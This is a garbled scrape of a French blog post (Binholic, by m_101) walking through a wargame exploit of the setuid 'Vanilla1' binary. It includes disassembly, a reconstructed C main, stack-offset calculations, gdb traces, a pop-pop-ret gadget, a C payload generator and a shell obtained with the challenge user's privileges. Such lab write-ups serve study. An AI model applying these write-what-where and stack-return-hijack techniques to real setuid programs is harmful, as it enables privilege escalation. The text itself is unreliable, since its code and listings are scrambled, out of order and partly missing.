Documente Academic
Documente Profesional
Documente Cultură
Durch die Nutzung dieser Website erklren Sie sich mit der Verwendung von Cookies einv
The challenge
Before any reversing attempt, we need to launch the program to see what it does.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
vanilla1@VanillaDome ~ $ ls -lash
total 76K
4.0K drwxr-xr-x 2 root
root
4.0K Apr 29 14:15 .
4.0K drwxr-x--x 10 root
root
4.0K May 15 20:52 ..
4.0K -rw-r--r-- 1 root
root
127 Mar 23 05:56 .bash_logout
4.0K -rw-r--r-- 1 root
root
193 Mar 23 05:56 .bash_profile
4.0K -rw-r--r-- 1 root
root
3.9K Apr 29 15:47 .bashrc
44K -rw-r--r-- 1 root
root
44K Apr 29 14:15 .gdbinit
8.0K -r-sr-sr-x 1 vanilla1crack vanilla1crack 6.7K Apr 29 12:28 Vanilla1
4.0K -r-------- 1 vanilla1crack vanilla1crack 19 Apr 29 12:28 key
vanilla1@VanillaDome ~ $ ./Vanilla1
Usage:./Vanilla1 <file>
vanilla1@VanillaDome ~ $ ./Vanilla1 key
vanilla1@VanillaDome ~ $ python -c 'print "a" * 1024' > /tmp/file.txt
vanilla1@VanillaDome ~ $ ./Vanilla1 /tmp/file.txt
Let's reverse it
Binholic : RSS Me :)
Articles
Commentaires
Membres
Qui tes-vous ?
m_101
Afficher mon profil complet
Archives du blog
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
?
Dump of assembler code for function main:
0x08048578 <+0>: push ebp
0x08048579 <+1>: mov ebp,esp
0x0804857b <+3>: and esp,0xfffffff0
; alignment
0x0804857e <+6>: sub esp,0x1050
; there is a HUGE buffer and we have ebp = esp + 0x1050
0x08048584 <+12>: mov eax,DWORD PTR [ebp+0x8]
; argc
0x08048587 <+15>: mov DWORD PTR [esp+0x1c],eax
; n_arg = argc
0x0804858b <+19>: mov eax,DWORD PTR [ebp+0xc]
; argv
0x0804858e <+22>: mov DWORD PTR [esp+0x18],eax
; args = argv
0x08048592 <+26>: mov eax,gs:0x14
; eax = stack cookie
0x08048598 <+32>: mov DWORD PTR [esp+0x104c],eax
; stack cookie (stored in gs:0x14)
0x0804859f <+39>: xor eax,eax
0x080485a1 <+41>: cmp DWORD PTR [esp+0x1c],0x1
; if (n_arg <= 1) then error
0x080485a6 <+46>: jg
0x80485c4 <main+76>
; else continue
0x080485a8 <+48>:
0x080485ac <+52>:
0x080485ae <+54>:
; printf ("\t Usage:%s
0x080485b3 <+59>:
0x080485b7 <+63>:
0x080485ba <+66>:
0x080485bf <+71>:
; memset (esp+0x38,
0x080485c4 <+76>:
0x080485cc <+84>:
0x080485d4 <+92>:
0x080485dc <+100>:
0x080485e0 <+104>:
0x080485e3 <+107>:
0x0, 0x1000);
mov DWORD PTR [esp+0x34],0x0
mov DWORD PTR [esp+0x8],0x1000
mov DWORD PTR [esp+0x4],0x0
lea eax,[esp+0x38]
mov DWORD PTR [esp],eax
call 0x80483f4 <memset@plt>
; fp = NULL;
; eax = value1
; eax = value2
mov eax,0x0
mov edx,DWORD PTR [esp+0x104c]
xor edx,DWORD PTR gs:0x14
je
0x80486c3 <main+331>
; stack cookie
We basically have a main() which read the file with fgets() and use atoll()
in an insert function.
We can reconstruct the stack also. We can see in the code that ESP is used but
it is not convenient for calculating sizes.
We get the following stack values in the end for main():
2013 ( 10 )
dcembre ( 3 )
aot ( 1 )
juin ( 1 )
Vanilla1 : writewhat-where
exploitation
(ASLR, Fu...
mars ( 5 )
2012 ( 1 )
2011 ( 25 )
2010 ( 32 )
2009 ( 1 )
1
2
3
4
5
6
esp+0x2c
esp+0x30
esp+0x34
esp+0x38
esp+0x1038
esp+0x104c
;
;
;
;
value2
value1
fp
buffer (0x1000 = 4096 bytes)
; sbuffer (0x14 = 20 bytes)
; stack cookie
|
|
| POP
|
V
Following the ASM, the main should look something like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main (int argc, char *argv[])
{
int value1, value2;
FILE *fp;
char buffer[4096], sbuffer[20];
if (argc <= 1) {
printf ("\t Usage:%s <file>\n", argv[0]);
return 0;
}
memset (buffer, 0, 0x1000);
fp = fopen (argv[1], "r");
if (fp == NULL)
return 0;
while (fgets (sbuffer, 0x14, fp) != NULL) {
value1 = atoll (sbuffer);
fgets (sbuffer, 0x14, fp);
value2 = atoll (sbuffer);
if (value1 != 0 && value2 != 0)
insert (value2, value1, buffer);
}
}
return 0;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
esp
^ ebp-0x24 | buffer
|
| ebp-0x20 | value1
|
PUSH | ebp-0x1c | value2
| POP
| ebp-0xc
| stack cookie V
ebp
| sebp
ebp+0x4
| seip
ebp+0x8
| offset
ebp+0xc
| value
ebp+0x10 | buffer
STACK BOTTOM = HIGH ADDRESSES
The interesting code is between 0x804855a and 0x8048563, the rest is mostly
setting up stuffs.
From this code we can infer that:
- buffer is in fact an array of integers (due to shl eax, 0x2 which is equal to x4)
- value2 is an offset
- value1 is a value to insert
- no return as eax value is not properly re-initialized
So it is equivalent to the following code:
1
2
3
4
Exploiting a write-what-where
our NOPsled.
Ok, now we have the theory, let's resolve that challenge!
Exploitation
return sz_file;
// integer to ascii
char *i2a (uint32_t value)
{
char *intstr;
int len_intstr;
intstr = calloc (21, sizeof(*intstr));
memset (intstr, 'a', 19);
snprintf (intstr, 19, "%d", value);
len_intstr = strlen (intstr);
if (intstr > 0)
intstr[len_intstr] = 'a';
}
return intstr;
struct dpatch_t *fill_array (struct dpatch_t *array, int n_elts, FILE *fp)
{
// buffer
char *buffer;
// loop
int idx_array, idx_buffer;
int sz_file;
int rest;
sz_file = get_fsize (fp);
rest = sz_file % 4;
// alloc buffer
buffer = calloc (sz_file + (rest != 0 ? 4 : 0), sizeof(*buffer));
if (!buffer)
return NULL;
// read
fseek (fp, 0, SEEK_SET);
fread (buffer, sz_file, 1, fp);
// construct array
for (idx_array = 0, idx_buffer = 0; idx_array < n_elts - 1; idx_array++, idx_buffer++) {
array[idx_array].value = i2a (*((uint32_t *) buffer + idx_buffer));
array[idx_array].offset = i2a (idx_buffer);
}
free (buffer);
}
return array;
ESP (insert) = ESP (main) - 0x4 (SEIP offset) - 0x4 (SEBP offset) - 0x28
= EBP (main) - 0x1050 - 0x4 - 0x4 - 0x28
= EBP (main) - 0x1080
EBP (insert) = ESP (main) - 0x4 (SEIP offset) - 0x4 (SEBP offset)
= EBP (main) - 0x1050 - 0x4 - 0x4
= EBP (main) - 0x1058
seip (insert) = buffer - (EBP (insert) + 0x4)
= (EBP (main) - 0x1020) - (EBP (main) - 0x1058 + 0x4)
= 0x3c
Ok, we got 0x3c (60) bytes upper on the stack and lower in memory.
So we basically are going to create an underflow.
Since there seems to be only unsigned integers but multiplied by 0x4. We need
to have "real" value:
3c = 15 * 4
Ok we got our offset, what about our value to insert?
We can avoid guessing the 4 bytes of the address.
We can do that by overwriting only 2 last bytes of insert() SEIP (it would
thus junk 2 bytes afterward but we don't really care about those).
Since we multiply by 4, this technique is not possible (it has to be a
multiple of 4).
There is an actual better solution.
Remember our insert() stack?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
esp
^ ebp-0x24 | buffer
|
| ebp-0x20 | value1
|
PUSH | ebp-0x1c | value2
| POP
| ebp-0xc
| stack cookie V
ebp
| sebp
ebp+0x4
| seip
ebp+0x8
| offset
ebp+0xc
| value
ebp+0x10 | buffer
STACK BOTTOM = HIGH ADDRESSES
gdb$ b *0x0804867d
gdb$ b *0x08048577
gdb$ r /tmp/test.txt
--------------------------------------------------------------------------[regs]
EAX: FFFFFFF1 EBX: 9CB15E54 ECX: 00000001 EDX: FFFFFFFF o d I t S z a p c
ESI: 00000000 EDI: 00000000 EBP: B3D36E58 ESP: B3D35E00 EIP: 0804867D
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
[007B:B3D35E00]----------------------------------------------------------[stack]
B3D35E50 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E40 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E30 : 00 E8 76 48 C8 61 05 08 - 00 00 00 00 00 00 00 00 ..vH.a..........
B3D35E20 : 00 00 00 00 00 00 00 00 - 00 00 00 00 F1 FF FF FF ................
B3D35E10 : 00 00 00 00 00 00 00 00 - 04 6F D3 B3 02 00 00 00 .........o......
B3D35E00 : F1 FF FF FF 00 E8 76 48 - 38 5E D3 B3 00 00 00 00 ......vH8^......
[007B:B3D35E00]-----------------------------------------------------------[data]
B3D35E00 : F1 FF FF FF 00 E8 76 48 - 38 5E D3 B3 00 00 00 00 ......vH8^......
B3D35E10 : 00 00 00 00 00 00 00 00 - 04 6F D3 B3 02 00 00 00 .........o......
B3D35E20 : 00 00 00 00 00 00 00 00 - 00 00 00 00 F1 FF FF FF ................
B3D35E30 : 00 E8 76 48 C8 61 05 08 - 00 00 00 00 00 00 00 00 ..vH.a..........
B3D35E40 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E50 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E60 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E70 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
[0073:0804867D]-----------------------------------------------------------[code]
=> 0x804867d <main+261>: call 0x8048534 <insert>
0x8048682 <main+266>: mov eax,DWORD PTR [esp+0x34]
0x8048686 <main+270>: mov DWORD PTR [esp+0x8],eax
0x804868a <main+274>: mov DWORD PTR [esp+0x4],0x14
0x8048692 <main+282>: lea eax,[esp+0x1038]
0x8048699 <main+289>: mov DWORD PTR [esp],eax
0x804869c <main+292>: call 0x80483e4 <fgets@plt>
0x80486a1 <main+297>: test eax,eax
-------------------------------------------------------------------------------Breakpoint 1, 0x0804867d in main ()
gdb$ gdb$ p/x $ebp-0x1020
$1 = 0xb3d35e38
gdb$ c
--------------------------------------------------------------------------[regs]
EAX: 00000000 EBX: 9CB15E54 ECX: 00000001 EDX: 4876E800 o d I t s Z a P c
ESI: 00000000 EDI: 00000000 EBP: B3D36E58 ESP: B3D35DFC EIP: 08048577
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
[007B:B3D35DFC]----------------------------------------------------------[stack]
B3D35E4C : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E3C : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E2C : F1 FF FF FF 00 E8 76 48 - C8 61 05 08 00 00 00 00 ......vH.a......
B3D35E1C : 02 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E0C : 00 00 00 00 00 00 00 00 - 00 00 00 00 04 6F D3 B3 .............o..
B3D35DFC : 00 E8 76 48 F1 FF FF FF - 00 E8 76 48 38 5E D3 B3 ..vH......vH8^..
[007B:B3D35DFC]-----------------------------------------------------------[data]
B3D35DFC : 00 E8 76 48 F1 FF FF FF - 00 E8 76 48 38 5E D3 B3 ..vH......vH8^..
B3D35E0C : 00 00 00 00 00 00 00 00 - 00 00 00 00 04 6F D3 B3 .............o..
B3D35E1C : 02 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E2C : F1 FF FF FF 00 E8 76 48 - C8 61 05 08 00 00 00 00 ......vH.a......
B3D35E3C : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E4C : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E5C : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E6C : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
[0073:08048577]-----------------------------------------------------------[code]
=> 0x8048577 <insert+67>: ret
0x8048578 <main>: push ebp
0x8048579 <main+1>: mov ebp,esp
0x804857b <main+3>: and esp,0xfffffff0
0x804857e <main+6>: sub esp,0x1050
0x8048584 <main+12>: mov eax,DWORD PTR [ebp+0x8]
0x8048587 <main+15>: mov DWORD PTR [esp+0x1c],eax
0x804858b <main+19>: mov eax,DWORD PTR [ebp+0xc]
-------------------------------------------------------------------------------Breakpoint 2, 0x08048577 in insert ()
gdb$ x/10wx $esp
0xb3d35dfc: 0x08048767 0xfffffff1 0x08048767 0xb3d35e38
0xb3d35e0c: 0x00000000 0x00000000 0x00000000 0xb3d36f04
0xb3d35e1c: 0x00000002 0x00000000
$ objdump -d ./Vanilla1
...
8048767: 5b
8048768: 5d
8048769: c3
...
pop
pop
ret
%ebx
%ebp
Here we go.
The trigger is thus done this way:
1
2
3
4
5
gdb$ b *0x08048577
Breakpoint 1 at 0x8048577
gdb$ condition 1 $edx==0x8048767
gdb$ r payload.bin
0xbd4dea8a
0xbd4deb35
0xbd4deb85
0x00000000
0xbd4deb40
0xbd4dea93
0xbd4deb64
0x08048735: pop ebx ; pop esi ; pop edi ; pop ebp ; ret ; (1 found)
0x08048503: pop ebp ; ret ; (1 found)
Your stack will look like this when the trigger is set up:
1
2
3
4
?
vanilla1@VanillaDome /tmp $ ~/Vanilla1 v1.2.txt
bash-4.1$ id
uid=1014(vanilla1) gid=1015(vanilla1) euid=1008(vanilla1crack) egid=1009(vanilla1crack) groups=1009(vanilla1crack),1015(vanilla1)
bash-4.1$ pwd
/tmp
bash-4.1$ cd
bash: cd: HOME not set
bash-4.1$ cd ~
bash-4.1$ pwd
/home/vanilla1
Just so you don't bang your header, use bash -p payload or you won't get the suid.
Pawn!
I wanted it to be a bit cleaner.
Trashing the env[], not cool.
Let's try bypassing that 0 restriction through arithmetic tricks.
Arithmetic trick
For the careful reader, you may have spotted some interesting line in insert()
code.
If not:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Conclusion
As you can see, with a bit of work, motivation and some vulnerability, you can
bypass protections.
ASLR was of no use here as we bypass it through offsets and pointers laying on
the stack.
RELRO didn't stop us as we can write on the stack with a write-what-where.
If NX were to be set, it wouldn't have stopped us either as we can still craft a
rop chain. The problem would more have to been about the number of available
gadgets.
That's all for today, hope you enjoyed it.
Cheers,
m_101
References:
- bash -p payload
- Vanilla Dome Wargame
- RELRO: RELocation Read-Only
- Reversing Linux : Comprendre le rle des sections PLT et GOT dans ldition de liens dynamique
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
struct dpatch_t
{
char *value;
char *offset;
};
/*
8048767:
8048768:
8048769:
5b
5d
c3
pop
pop
ret
%ebx
%ebp
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
8048769:
*/
c3
ret
return 0;
return sz_file;
return n_elts;
// integer to ascii
char *i2a (uint32_t value)
{
char *intstr;
int len_intstr;
intstr = calloc (21, sizeof(*intstr));
memset (intstr, 'a', 19);
snprintf (intstr, 19, "%d", value);
len_intstr = strlen (intstr);
if (intstr > 0)
intstr[len_intstr] = 'a';
}
return intstr;
struct dpatch_t *fill_array (int off_buffer, struct dpatch_t *array, int n_elts, FILE *fp)
{
// buffer
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
// buffer
char *buffer;
// loop
int idx_array, idx_buffer;
int sz_file;
int rest;
sz_file = get_fsize (fp);
rest = sz_file % 4;
// alloc buffer
buffer = calloc (sz_file + (rest != 0 ? 4 : 0), sizeof(*buffer));
if (!buffer)
return NULL;
// read
fseek (fp, 0, SEEK_SET);
fread (buffer, sz_file, 1, fp);
// fix off_buffer
off_buffer = off_buffer / 4;
// construct array
for (idx_array = 0, idx_buffer = 0; idx_array < n_elts; idx_array++, idx_buffer++) {
dump (((uint32_t *) buffer + idx_buffer), 4, 16);
array[idx_array].value = i2a (*((uint32_t *) buffer + idx_buffer));
if (idx_buffer == 0 && off_buffer == 0)
array[idx_array].offset = i2a (0x40000000);
else
array[idx_array].offset = i2a (idx_buffer + off_buffer);
}
free (buffer);
}
return array;
// dump
int dump (unsigned char *bytes, size_t nbytes, size_t align)
{
size_t idx_bytes, j, last;
int n_disp;
if (!bytes || !nbytes)
return -1;
// first part of line is hex
for (idx_bytes = 0, last = 0; idx_bytes < nbytes; idx_bytes++) {
printf ("%02x ", bytes[idx_bytes]);
// if we got to the alignment value or end of bytes
// we print the second part of the line
if ( (idx_bytes + 1) % align == 0 || idx_bytes == nbytes - 1 ) {
// we print spaces if we arrived at end of bytes
if (idx_bytes == nbytes - 1) {
// compute the number of spaces to show
n_disp = align - (nbytes % align);
n_disp = (nbytes % align) ? n_disp : 0;
for (j = 0; j < n_disp; j++)
printf(" ");
}
// separation
printf ("| ");
// second part of line is corresponding character
for (j = last; j < last + align && j < nbytes; j++) {
if (isprint(bytes[j]))
printf ("%c", bytes[j]);
else
putchar ('.');
}
putchar ('\n');
last = idx_bytes + 1;
}
}
}
return 0;
Aucun commentaire :
Enregistrer un commentaire
Saisissez votre commentaire
Publier
Aperu
Accueil
Gewerbeschein
beantragen
foerderprogramme-deutschland.de